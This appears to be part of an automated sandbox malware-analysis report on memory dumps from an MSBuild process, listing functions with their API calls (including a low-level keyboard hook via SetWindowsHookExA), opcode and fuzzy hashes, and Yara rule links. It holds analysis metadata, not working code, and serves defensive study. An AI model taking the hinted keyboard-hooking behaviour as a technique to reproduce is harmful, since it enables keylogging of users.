Opcode ID: 3ac33331a34848a0ca6c9c63368ee5329993ae1ae8ab3a0a3807f089b9c65571
Instruction ID: 5f30bffe5ccea490d7daf695068041ab2377d708581b7079755b2a4726427069
Opcode Fuzzy Hash: 3ac33331a34848a0ca6c9c63368ee5329993ae1ae8ab3a0a3807f089b9c65571
Instruction Fuzzy Hash: 6A21D5B59102499FDB10DFAAD884ADEFFF5FB48310F14841AE918A3310D378A950CF65

Uniqueness

Uniqueness Score: -1.00%

Function 2322D389 Relevance: 1.6, APIs: 1, Instructions: 60COMMON

Download Yara Rule

APIs

SetWindowsHookExA.USER32(0000000D,00000000,?,?,?,?,?,?,?,?,?,2322D1F8,00000000,00000000), ref: 2322D40B

Memory Dump Source

Source File: 00000005.00000002.2632971791.0000000023220000.00000040.00000800.00020000.00000000.sdmp, Offset: 23220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_23220000_MSBuild.jbxd

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: 6b1355b37c08fddc06cf2282e294e91927b7986eb795b95bc03676bb2d479cfe
Instruction ID: b383096006fc49f73006b11669d911ac4c451c38afd024886a43428590636084
Opcode Fuzzy Hash: 6b1355b37c08fddc06cf2282e294e91927b7986eb795b95bc03676bb2d479cfe
Instruction Fuzzy Hash: FD2115B19006099FDB14DFAAD844BEEFBF1FF88310F14842AE429A7250C7786941CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00ABEE20 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(?,?,?,?,?,?,?,?,?,00000000), ref: 00ABEE8F

Memory Dump Source

Source File: 00000005.00000002.2587147504.0000000000AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_ab0000_MSBuild.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: 4ceccb6894584c51187dd7b39a86c9980c80800ed7ce7a6eeaa9300223b0fd49
Instruction ID: 3717f6bd69fe0d9334660b53056cc43c7110fe92a17eefc9b7956b87be4d52f0
Opcode Fuzzy Hash: 4ceccb6894584c51187dd7b39a86c9980c80800ed7ce7a6eeaa9300223b0fd49
Instruction Fuzzy Hash: 681112B1C106599FDB10DFAAC444BDEFBF8AF48320F15812AE818A7241D778A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 23223FD0 Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 23224E76

Memory Dump Source

Source File: 00000005.00000002.2632971791.0000000023220000.00000040.00000800.00020000.00000000.sdmp, Offset: 23220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_23220000_MSBuild.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 55f881260f68eae928995813aee6dd9308058da1cab1e4ef98c00fbb3f4e111b
Instruction ID: a74ba3e9c5831c2d5f225c97756b3989df67a7847aced482e288063608f6397c
Opcode Fuzzy Hash: 55f881260f68eae928995813aee6dd9308058da1cab1e4ef98c00fbb3f4e111b
Instruction Fuzzy Hash: 191102B6D006498FDB10DF9AC844BDEFBF4EB89224F10846AD929B7210C379A545CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 23224E0A Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 23224E76

Memory Dump Source

Source File: 00000005.00000002.2632971791.0000000023220000.00000040.00000800.00020000.00000000.sdmp, Offset: 23220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_23220000_MSBuild.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 5a9d7651ece901145f4bdabb6c224c315072a04c25b11355b632b5c653f08a74
Instruction ID: fb4ac52c8c3711423dd2583361d075ec5fd83aa3cc1be6331c132f2dbb5d8451
Opcode Fuzzy Hash: 5a9d7651ece901145f4bdabb6c224c315072a04c25b11355b632b5c653f08a74
Instruction Fuzzy Hash: 30113FB6D006498FDB10DF9AC840BDEFBF4EB88220F10805AD829A7210C378A545CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 2322B311 Relevance: 1.5, APIs: 1, Instructions: 47comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 2322B36D

Memory Dump Source

Source File: 00000005.00000002.2632971791.0000000023220000.00000040.00000800.00020000.00000000.sdmp, Offset: 23220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_23220000_MSBuild.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 17f17e96df7591699cf8406e92801e4086a1c39273e96c60862e0a81c67d2161
Instruction ID: 6878a2ea891b5dc6abca9647d9f5ce87753693d38bfa0fabb4c849a13a8bed63
Opcode Fuzzy Hash: 17f17e96df7591699cf8406e92801e4086a1c39273e96c60862e0a81c67d2161
Instruction Fuzzy Hash: C21133B18006498FDB10DFAAC844BCEFFF8EB48220F24845AE519A7210C378A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 232297A4 Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,?,?,?,?,2322AE25), ref: 2322AEAF

Memory Dump Source

Source File: 00000005.00000002.2632971791.0000000023220000.00000040.00000800.00020000.00000000.sdmp, Offset: 23220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_23220000_MSBuild.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 3442b36cc10e3faa4d5bd6f58d781c88ba0054c4400143f70e20262a4bcbe473
Instruction ID: c29f274cd6fdbeb178ba3e72842960491d22ccc129c64ab366120e8f81dc7568
Opcode Fuzzy Hash: 3442b36cc10e3faa4d5bd6f58d781c88ba0054c4400143f70e20262a4bcbe473
Instruction Fuzzy Hash: 1D1103B58106498FDB10DF9AD884BDEFBF4EB48324F20846AE519A7610C778A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 232299DC Relevance: 1.5, APIs: 1, Instructions: 46comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 2322B36D

Memory Dump Source

Source File: 00000005.00000002.2632971791.0000000023220000.00000040.00000800.00020000.00000000.sdmp, Offset: 23220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_23220000_MSBuild.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 67e457fdd533ce53ebc38e21b21318118afd55f68c7ede5abf329bfd319ea008
Instruction ID: 46bd39309cc54d106126dd5d09799d7afd20b65124fd298ae3cce1ac942a1ec8
Opcode Fuzzy Hash: 67e457fdd533ce53ebc38e21b21318118afd55f68c7ede5abf329bfd319ea008
Instruction Fuzzy Hash: A71103B18107488FDB10DFAAD844BDEBBF4EB48220F208459E519A7310C3B8A940CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 2322AE52 Relevance: 1.5, APIs: 1, Instructions: 42COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,?,?,?,?,2322AE25), ref: 2322AEAF

Memory Dump Source

Source File: 00000005.00000002.2632971791.0000000023220000.00000040.00000800.00020000.00000000.sdmp, Offset: 23220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_23220000_MSBuild.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 6dd6470f7f170798ab0215a6c539522bb4abc732b4c5906613f76270b7a23eb2
Instruction ID: 9f45322724737bf9c3568ff12d54a75b6a03da3f7fe453791354323248a3feea
Opcode Fuzzy Hash: 6dd6470f7f170798ab0215a6c539522bb4abc732b4c5906613f76270b7a23eb2
Instruction Fuzzy Hash: 5B11F3B5C006498FDB10DF9AD884BDEFFF4EB48324F20845AD519A7650C778A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 232345D4 Relevance: 1.5, Strings: 1, Instructions: 222COMMON

Download Yara Rule

Strings

H={", xrefs: 232347D3

Memory Dump Source

Source File: 00000005.00000002.2633153076.0000000023230000.00000040.00000800.00020000.00000000.sdmp, Offset: 23230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_23230000_MSBuild.jbxd

Similarity

API ID:
String ID: H={"
API String ID: 0-1258043604
Opcode ID: 216f2701be89157ee149d27e07ff0efba35cbd3cfb083789136733ffb27fafe3
Instruction ID: 41c0f69e9cef92fba3f7ce2cbd60a2032cc9e3058298d52f828cbd17ebd54add
Opcode Fuzzy Hash: 216f2701be89157ee149d27e07ff0efba35cbd3cfb083789136733ffb27fafe3
Instruction Fuzzy Hash: B1913070E002198FDB10DF68CC50B8DB7B5FF8A310F248699D549BB291DB74AA85CF91

Uniqueness

Uniqueness Score: -1.00%

Function 232345E8 Relevance: 1.5, Strings: 1, Instructions: 210COMMON

Download Yara Rule

Strings

H={", xrefs: 232347D3

Memory Dump Source

Source File: 00000005.00000002.2633153076.0000000023230000.00000040.00000800.00020000.00000000.sdmp, Offset: 23230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_23230000_MSBuild.jbxd

Similarity

API ID:
String ID: H={"
API String ID: 0-1258043604
Opcode ID: 8ab20098860ee908a294e2e7bf03364852c47f0e26ad5eb28cc8e2e005866e4a
Instruction ID: 5eee5676869750f771c4c85c1f36fec3ac9df77f2d6d24cd3eb6d61041448d05
Opcode Fuzzy Hash: 8ab20098860ee908a294e2e7bf03364852c47f0e26ad5eb28cc8e2e005866e4a
Instruction Fuzzy Hash: 22912C74E002198BDB50DF68C890B8DB7B5FF8A310F208699D549BB391DB70AA85CF91

Uniqueness

Uniqueness Score: -1.00%

Function 23234B71 Relevance: 1.4, Strings: 1, Instructions: 135COMMON

Download Yara Rule

Strings

`>{", xrefs: 23234CD0

Memory Dump Source

Source File: 00000005.00000002.2633153076.0000000023230000.00000040.00000800.00020000.00000000.sdmp, Offset: 23230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_23230000_MSBuild.jbxd

Similarity

API ID:
String ID: `>{"
API String ID: 0-758907228
Opcode ID: e3a45151a61f91eed67f9612b0ab60eb8338759616c5726651897d21134a2d4d
Instruction ID: bcef455a503bce20756e4810cc659bd44a1798395021731461ddfeb4381912d5
Opcode Fuzzy Hash: e3a45151a61f91eed67f9612b0ab60eb8338759616c5726651897d21134a2d4d
Instruction Fuzzy Hash: 72515A70B002089FEB449BA9C854B9EBBF6EF89700F21856AE505AB395DA749D418B90

Uniqueness

Uniqueness Score: -1.00%

Function 04231EB1 Relevance: .4, Instructions: 441COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2590491529.0000000004230000.00000040.00000800.00020000.00000000.sdmp, Offset: 04230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4230000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5eaf60a0675f47b1b6823c283fbe755afaf7547c1d53400883b0a76da970f9b8
Instruction ID: b3182c3336d60186ee844af8cddc97829366869650ce2e6cf44c021ee83583ad
Opcode Fuzzy Hash: 5eaf60a0675f47b1b6823c283fbe755afaf7547c1d53400883b0a76da970f9b8
Instruction Fuzzy Hash: 1B415C70A10709DFCB14DFA9C85469DBBB1EF89300F14C659E8497B265EB70A981CB90

Uniqueness

Uniqueness Score: -1.00%

Function 04232150 Relevance: .3, Instructions: 341COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2590491529.0000000004230000.00000040.00000800.00020000.00000000.sdmp, Offset: 04230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4230000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e54e2697c78dc29a4571ca645364752c2eecaa0ccd347a9f876ea89ac653f75
Instruction ID: dd36073a905c26a8bfc2ee800db11008612fedba1a070dac056713b2ae79f751
Opcode Fuzzy Hash: 2e54e2697c78dc29a4571ca645364752c2eecaa0ccd347a9f876ea89ac653f75
Instruction Fuzzy Hash: 3DD18F71E10309DFDB18DFA9C8547AEBBF2AF88310F148599D405AB391DB74AD41CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 23234DC3 Relevance: .3, Instructions: 334COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2633153076.0000000023230000.00000040.00000800.00020000.00000000.sdmp, Offset: 23230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_23230000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af78914c96db5cb935ea266e4f2be305022ae35c7e7edd784f5ec6ec161f475f
Instruction ID: d0a9b0ddb1065c6a2cb698fa4bb9e280bb66be8f58d1d47e522868dceeeb45af
Opcode Fuzzy Hash: af78914c96db5cb935ea266e4f2be305022ae35c7e7edd784f5ec6ec161f475f
Instruction Fuzzy Hash: E3D16D70B00218DFEB54DFA8C855B6D7BF6FF88700F2081A9E509AB3A5CB759D458B80

Uniqueness

Uniqueness Score: -1.00%

Function 23236200 Relevance: .2, Instructions: 229COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2633153076.0000000023230000.00000040.00000800.00020000.00000000.sdmp, Offset: 23230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_23230000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb9e6b7abf88ae901369e65c1fb042797606e4be52e95861a9d763571e1c4c4c
Instruction ID: d8c41e90b93068bf076db3a44e02a5322f35fa5dd0349a68a2e91651cf9fbd63
Opcode Fuzzy Hash: cb9e6b7abf88ae901369e65c1fb042797606e4be52e95861a9d763571e1c4c4c
Instruction Fuzzy Hash: 0261F4B1F000114FDB04AB6ECC84A5FAAEBEFC5620B1A4475D80ADB361DF79ED428791

Uniqueness

Uniqueness Score: -1.00%

Function 232342B8 Relevance: .2, Instructions: 222COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2633153076.0000000023230000.00000040.00000800.00020000.00000000.sdmp, Offset: 23230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_23230000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 141ae4f4a3982e4d49b6e48cc25b98ec8388e73da203df4ef2febedcd3dd8d31
Instruction ID: 7f300a8633afef95ff56dc84d76e217fa49f382ce00d8bc82a37260a7873e057
Opcode Fuzzy Hash: 141ae4f4a3982e4d49b6e48cc25b98ec8388e73da203df4ef2febedcd3dd8d31
Instruction Fuzzy Hash: 38815F70B002098FDB44DFA9C864B9EBBF6AF89700F248579D519EB345DB34DD828B91

Uniqueness

Uniqueness Score: -1.00%

Function 232342C8 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2633153076.0000000023230000.00000040.00000800.00020000.00000000.sdmp, Offset: 23230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_23230000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 18104bc0aab562534a48b104fc8c5a519f9be026fd90f78ae29ac2a62a8d73b4
Instruction ID: a23a58df8b8b2711ab1bd40cd98705cb6da7d025736c9fb677ec03f00ae2807e
Opcode Fuzzy Hash: 18104bc0aab562534a48b104fc8c5a519f9be026fd90f78ae29ac2a62a8d73b4
Instruction Fuzzy Hash: F6814E70B006098BDB04DFA9C864B5E7BF6AF89700F208579D41AEB385DB34DD828B91

Uniqueness

Uniqueness Score: -1.00%

Function 23234DCC Relevance: .2, Instructions: 209COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2633153076.0000000023230000.00000040.00000800.00020000.00000000.sdmp, Offset: 23230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_23230000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ede59e1c00b8171dbc55c40becd2b51340159aa3e5e1b68940cdd0076d1d74eb
Instruction ID: 2ee85f4aa8832297a18ce33bef27e9b81e0300aef1ed1d247bd928e7cf151c59
Opcode Fuzzy Hash: ede59e1c00b8171dbc55c40becd2b51340159aa3e5e1b68940cdd0076d1d74eb
Instruction Fuzzy Hash: 57814B30B10218DFDB54DFA8C854B6D7BF6BF88700F6085A9E509AB3A5CF759D418B90

Uniqueness

Uniqueness Score: -1.00%

Function 2323EF38 Relevance: .2, Instructions: 204COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2633153076.0000000023230000.00000040.00000800.00020000.00000000.sdmp, Offset: 23230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_23230000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3e621bc78c83b3bf17743225de78ca5d1502ed09963bd6ea98d3c60a73d0440
Instruction ID: 188a5072803da613b7f478c0e1a27ab645b0baa33522cdb5faafc0f7d583740a
Opcode Fuzzy Hash: f3e621bc78c83b3bf17743225de78ca5d1502ed09963bd6ea98d3c60a73d0440
Instruction Fuzzy Hash: A1716C70B002099FDB04DFA9D980A9EBBFAFF85700F248569E005AB355DB74ED86CB50

Uniqueness

Uniqueness Score: -1.00%

Function 2323EF48 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2633153076.0000000023230000.00000040.00000800.00020000.00000000.sdmp, Offset: 23230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_23230000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ea77cd3358f1b8bd93b6d43ad3d5facbf4179ab92580a8ed7a82754416a61cc
Instruction ID: f6fa027a166f9690f5ceb36efff0082b164009862e32ad6893db94d1d970ec5a
Opcode Fuzzy Hash: 6ea77cd3358f1b8bd93b6d43ad3d5facbf4179ab92580a8ed7a82754416a61cc
Instruction Fuzzy Hash: 1F715B71B002099FDB04DFA9D980A9EBBFAFF85700F248569E005AB355DB74ED86CB50

Uniqueness

Uniqueness Score: -1.00%

Function 2323FCB0 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2633153076.0000000023230000.00000040.00000800.00020000.00000000.sdmp, Offset: 23230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_23230000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f089c10813babcdfa18a8bb579a0e42d6251332c25b8a9bdcd11ff5fe3166115
Instruction ID: 256050373a3875a1667a42ea7bd7bde8780cf4f3eb1165846ef0c1630ea520b8
Opcode Fuzzy Hash: f089c10813babcdfa18a8bb579a0e42d6251332c25b8a9bdcd11ff5fe3166115
Instruction Fuzzy Hash: 2D51E371B0120AEFDB14EFB8E84869DB7B5EB89311F1088B9E106D7252DF359995CBC0

Uniqueness

Uniqueness Score: -1.00%

Function 2323FA52 Relevance: .2, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2633153076.0000000023230000.00000040.00000800.00020000.00000000.sdmp, Offset: 23230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_23230000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85873211b7014643084385fcc8a86d292f09926ea07e300f89cb5b41724c61f6
Instruction ID: a831cb2918ce1b696e707c591ff14d6e8a818019ac7d7579748890df1ad57637
Opcode Fuzzy Hash: 85873211b7014643084385fcc8a86d292f09926ea07e300f89cb5b41724c61f6
Instruction Fuzzy Hash: 0C5175B0700329AFEB24AAACDC5475F26AED78E750F144876D40AC7396CE3CCD8587A1

Uniqueness

Uniqueness Score: -1.00%

Function 23239167 Relevance: .2, Instructions: 164COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2633153076.0000000023230000.00000040.00000800.00020000.00000000.sdmp, Offset: 23230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_23230000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2056e9db3bc59f630ac18bbe5c07f501eb52345d982a39f8278611dd7db2a69a
Instruction ID: dcf7cdeaf4a29d04a09652d920c0680600aec42c1b5af4851e92f7732e315f07
Opcode Fuzzy Hash: 2056e9db3bc59f630ac18bbe5c07f501eb52345d982a39f8278611dd7db2a69a
Instruction Fuzzy Hash: 8C518170B006159FEB54DB79CC60B6E77F6AF8A700F108469D915EB384EB34AC41CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 2323FA60 Relevance: .2, Instructions: 163COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2633153076.0000000023230000.00000040.00000800.00020000.00000000.sdmp, Offset: 23230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_23230000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7d376444eafb33973068085e588a2b3abd0bfe8fb723153c541944131c2dbc1
Instruction ID: 6d7ba53450d635732bce483d1c34b9ca809ca8a78af045bddc9741654c430e87
Opcode Fuzzy Hash: b7d376444eafb33973068085e588a2b3abd0bfe8fb723153c541944131c2dbc1
Instruction Fuzzy Hash: BC5184B0700329AFEB14AAACDC5475F26AED78A710F144835E40AC7396CE3CCD8187A1

Uniqueness

Uniqueness Score: -1.00%

Function 23235438 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2633153076.0000000023230000.00000040.00000800.00020000.00000000.sdmp, Offset: 23230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_23230000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30382e94f2a9204ed4fafc8444f0b5fb183b39b7634ce541cbe18e6e2be640bb
Instruction ID: 207ea8ba6840f4edf2c455883dc8cb7217a8e5a2f18cb480eddb1f3b38ecf3c3
Opcode Fuzzy Hash: 30382e94f2a9204ed4fafc8444f0b5fb183b39b7634ce541cbe18e6e2be640bb
Instruction Fuzzy Hash: 76419471A0060A8FDB24DFA9DC80A9FF7FAFF85310F20496AD259D7641D331E9858B90

Uniqueness

Uniqueness Score: -1.00%

Function 2323DAE5 Relevance: .1, Instructions: 121COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2633153076.0000000023230000.00000040.00000800.00020000.00000000.sdmp, Offset: 23230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_23230000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b75b08c21789ed20b5496f85227453aae9db508d3cf656649172f30040a5d26f
Instruction ID: db7bc71338d5df3c491ce21f086fe904ab85cc2fae74a5ed52e8c30c9cbe5b4f
Opcode Fuzzy Hash: b75b08c21789ed20b5496f85227453aae9db508d3cf656649172f30040a5d26f
Instruction Fuzzy Hash: E5419370A0034ADFDB15DFA5C890B8EBBB6FF46300F14856AE415EB241DB74E986CB41

Uniqueness

Uniqueness Score: -1.00%

Function 2323DAF8 Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2633153076.0000000023230000.00000040.00000800.00020000.00000000.sdmp, Offset: 23230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_23230000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d13b278f101b66af012588f19b4f0afc722760a07e3b832ea795092c371373d2
Instruction ID: ec47413fde53696e146df6f34bd26f3d0d34a1e615af726fc8301392532aeab8
Opcode Fuzzy Hash: d13b278f101b66af012588f19b4f0afc722760a07e3b832ea795092c371373d2
Instruction Fuzzy Hash: BE4182B0A1020ADFDB14DFA5C854B9EBBB6FF86300F14896AE415E7240DB74D986CB51

Uniqueness

Uniqueness Score: -1.00%

Function 232321BD Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2633153076.0000000023230000.00000040.00000800.00020000.00000000.sdmp, Offset: 23230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_23230000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 249da82d1cbfb44ec8633e2973986eebec8a51766c17439af01df4846de08f2e
Instruction ID: 238f00d241b791f2521e23e0ee2de2933a7c9c50d86c3d1117b376f13b162bf8
Opcode Fuzzy Hash: 249da82d1cbfb44ec8633e2973986eebec8a51766c17439af01df4846de08f2e
Instruction Fuzzy Hash: 1231F3307143858FDB05ABB8CC64A5E7BB7AB8A600F1485ACD402DB382DF35DD86C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 232321D0 Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2633153076.0000000023230000.00000040.00000800.00020000.00000000.sdmp, Offset: 23230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_23230000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 26749ed25992675c34481308275770a7d2f408c9c0bf20d1c91a09c0154c6965
Instruction ID: 8711b2c14c2f603ed649bd4d2936b1104df7e39a785c5229422baa3561070b7f
Opcode Fuzzy Hash: 26749ed25992675c34481308275770a7d2f408c9c0bf20d1c91a09c0154c6965
Instruction Fuzzy Hash: 5D31C3707103498FDB04AB78CC54B5E3BA7AB8A600F148468D406DB381DF35DD82C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 04232998 Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2590491529.0000000004230000.00000040.00000800.00020000.00000000.sdmp, Offset: 04230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4230000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32a4d5ae6dd6908cd69c49dc482b96bbe069a8cccb1ad08eb44fc158f54b73b3
Instruction ID: 572a9c2e46d00b0da5b5c54767364bcb91b7f222b829493064165c2d9ddca0c1
Opcode Fuzzy Hash: 32a4d5ae6dd6908cd69c49dc482b96bbe069a8cccb1ad08eb44fc158f54b73b3
Instruction Fuzzy Hash: 33318E70B0021ADFDF20DF68D880AAEB7B5EF85700F108968D005D7351EB39A946CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 042329A8 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2590491529.0000000004230000.00000040.00000800.00020000.00000000.sdmp, Offset: 04230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4230000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57d920b985a50d5dedaf7209356b490b5f98955474274d2395e45e9080cc67c1
Instruction ID: 4e18e8d4985c02d6b7b6cc5967baafddff90b2bc95da84b64e4eb1c4cbaed7d0
Opcode Fuzzy Hash: 57d920b985a50d5dedaf7209356b490b5f98955474274d2395e45e9080cc67c1
Instruction Fuzzy Hash: 99313E70B0021A9FDF14DF68D880AAEB7B5EB85710F108968D416E7351DB39ED45CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 23233AB8 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2633153076.0000000023230000.00000040.00000800.00020000.00000000.sdmp, Offset: 23230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_23230000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac0ccdfe283e9f6a88c66cc492f86eed540adaaf727b8aed1eb5fc2d6e876f0f
Instruction ID: 51f63dc9a0aa3c32049522af352355282b77245643e677469b240821b47c72cf
Opcode Fuzzy Hash: ac0ccdfe283e9f6a88c66cc492f86eed540adaaf727b8aed1eb5fc2d6e876f0f
Instruction Fuzzy Hash: A5216875F442059FDB10CFA8CD40A9EBBF6AB88720F148069EA14EB251D735D981CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 23236D21 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2633153076.0000000023230000.00000040.00000800.00020000.00000000.sdmp, Offset: 23230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_23230000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 56f0806e03f0aa064d74e65a7bda40944a1eda55ab782f7b3d45957a868902a1
Instruction ID: ea70fb430ec0582d914c1bf404b298b1775501ad7c7d29dae2d8db5e93aaefa6
Opcode Fuzzy Hash: 56f0806e03f0aa064d74e65a7bda40944a1eda55ab782f7b3d45957a868902a1
Instruction Fuzzy Hash: 20210870B001089FDF44DB6CDD946ADBBBADB86310F188569D405EB351DB71ED818790

Uniqueness

Uniqueness Score: -1.00%

Function 23233AC8 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2633153076.0000000023230000.00000040.00000800.00020000.00000000.sdmp, Offset: 23230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_23230000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d71d3235c306e6c8628dedc05f2fdb799ef86910296a2e7a71051f7da4f735a
Instruction ID: be9bca47ada03a8e3557ef913a4b17ffa36f14cce8d6a841729fc9d96251b489
